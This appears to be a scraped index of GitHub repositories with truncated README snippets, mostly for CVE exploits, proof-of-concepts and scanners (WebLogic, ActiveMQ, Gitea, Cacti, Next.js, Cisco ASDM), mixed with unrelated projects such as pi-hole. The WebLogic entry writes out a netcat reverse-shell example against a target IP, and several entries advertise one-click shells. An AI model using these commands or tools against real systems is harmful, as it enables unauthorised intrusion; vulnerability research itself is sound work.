CVE-2016-3088

Apache ActiveMQ PUT RCE One-Click GetShell usage:python3 CVE-2016-3088.py -u https://tartget.com/...

CVE-2019-14439

CVE-2019-14439 Jackson-databind RCE...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js RSC RCE Scanner and POC/Exploit Collection CVE-2025-66478 A command-line scanner for batch detection of Next.js application versions and determining if they are affected by CVE-2025-66478 vulnerability. This Scanner do not exploit the vulnerability Vulnerability Description...

CVE-2026-73591

Dell Secure Connect Gateway SCG Policy Manager, versions prior to 5.34.00.16, contains an Inclusion of Sensitive Information in Source Code vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information exposure...

CVE-2025-55182

CVE-2025-55182 Scanner This repository contains a scanner tool for CVE-2025-55182 RCE and CVE-2025-55183 Source Code Disclosure in Next.js React Server Components RSC. ⚠️ Disclaimer This tool is for educational and authorized testing purposes only. Do not use this tool on systems you do not own or...

SignHere

SignHere Introduction CVE-2017-11882 - The unique vulnerability identifier of Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016 allows an attacker to run code in the context of the current user without...

CVE-2025-24367-Cacti-PoC

CVE-2025-24367 - Cacti Authenticated Graph Template RCE Usage & Safety Important — Read this first: This repository and exploit.py are provided for educational and research purposes only. Do not use this code against systems, networks, or services for which you do not have explicit, written...

CVE-2025-70994

CVE-2025-70994: Weak Authentication in Yadea T5 Electric Bicycle !WARNING This repository is published strictly for educational and academic security research purposes. The information and proof-of-concept code provided here are intended to demonstrate a known cryptographic flaw CWE-1390 to assis...

CVE-2022-24992

CVE-2022-24992 CVE-2022–24992 This post is about CVE-2022–24992 my first CVE, which refers to a vulnerability in QRCDR's widely used QR-Code generator script. more info Best, n0lsec...

FTC-Skystone-Dark-Angels-Romania-2020

NOTICE This repository contains the public FTC SDK for the SKYSTONE 2019-2020 competition season. Formerly this software project was hosted here. Teams who are competing in the SKYSTONE Challenge should use this new SKYSTONE repository instead of the older and no longer updated ftcapp repository...

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template Nuclei template and information about the POC for CVE-2024-25600 Description 📝 The Bricks theme for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.9.6. This makes it possible for unauthenticated attackers to execute code on t...

CVE-2020-14645

CVE-2020-14645 Weblogic Server CVE-2020-14645 EXP for Python （complete in one step） Useage: Python3 exploit.py -t -c tips: No echo Example： nc -lvnp 4444 Python3 exploit.py -t 192.168.0.14 -c 'nc 192.168.0.15 4444' then you will getshell...

theway

The Way The Way is a tool for unpacking, repacking, and creating malicious Cisco Adaptive Security Device Manager ASDM packages. ASDM is the Java-based administrative GUI for Adaptive Security Appliance ASA systems e.g. firewalls and VPNs. The ASDM package is hosted on the ASA and sub-components...

CVE-2020-11851

CVE-2020-11851 Remote Code Execution vulnerability on ArcSight Logger via ArcSight Management Center https://nvd.nist.gov/vuln/detail/CVE-2020-11851 Executive Summary Vulnerability Background ArcSight Logger is a comprehensive log management solution that eases compliance burdens and enables fast...

CVE-2018-16763

CVE 2018-16763 Exploit Introduction PreAuth-RCE on FUEL CMS 1.4.1 Demo Reference: https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

CVE-2022-22947-Rce_POC

CVE-2022-22947-RcePOC Batch URL detection of Spring Cloud Gateway CVE-2022-22947 Usage py Spring-Cloud-Gateway.py UrlsPath After execution, a gateway.log file is generated, where '+', '-', '' indicate 'vulnerable', 'not vulnerable', and 'request error' respectively...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - GiTea authenticated RCE A script to exploit CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks Features Automatic reverse shell payload generation from IP and PORT Upload custom shell script and execute it remotely with option -f Automatic login with...

CVE-2024-38063

CVE-2024-38063 - Windows TCP/IP Remote Code Execution Vulnerability. The occurrence of BSOD can lead to RCE while my code only causes BSOD. I am continuously analyzing the patch and testing to lead to the occurrence of RCE in the target system. Star History Overview CVE-2024-38063 is a critical...

jsleak

Description I was developing jsleak during most of my free time for my own need.It is easy-to-use command-line tool designed to uncover secrets and links in JavaScript files or source code. The jsleak was inspired by Linkfinder and regexes are collected from multiple sources. Features: Discover...

pi-hole

Network-wide ad blocking via your own Linux hardware The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content without installing any client-side software. Easy-to-install : our dialogs walk you through the simple installation process in less than ten minutes Resolute :...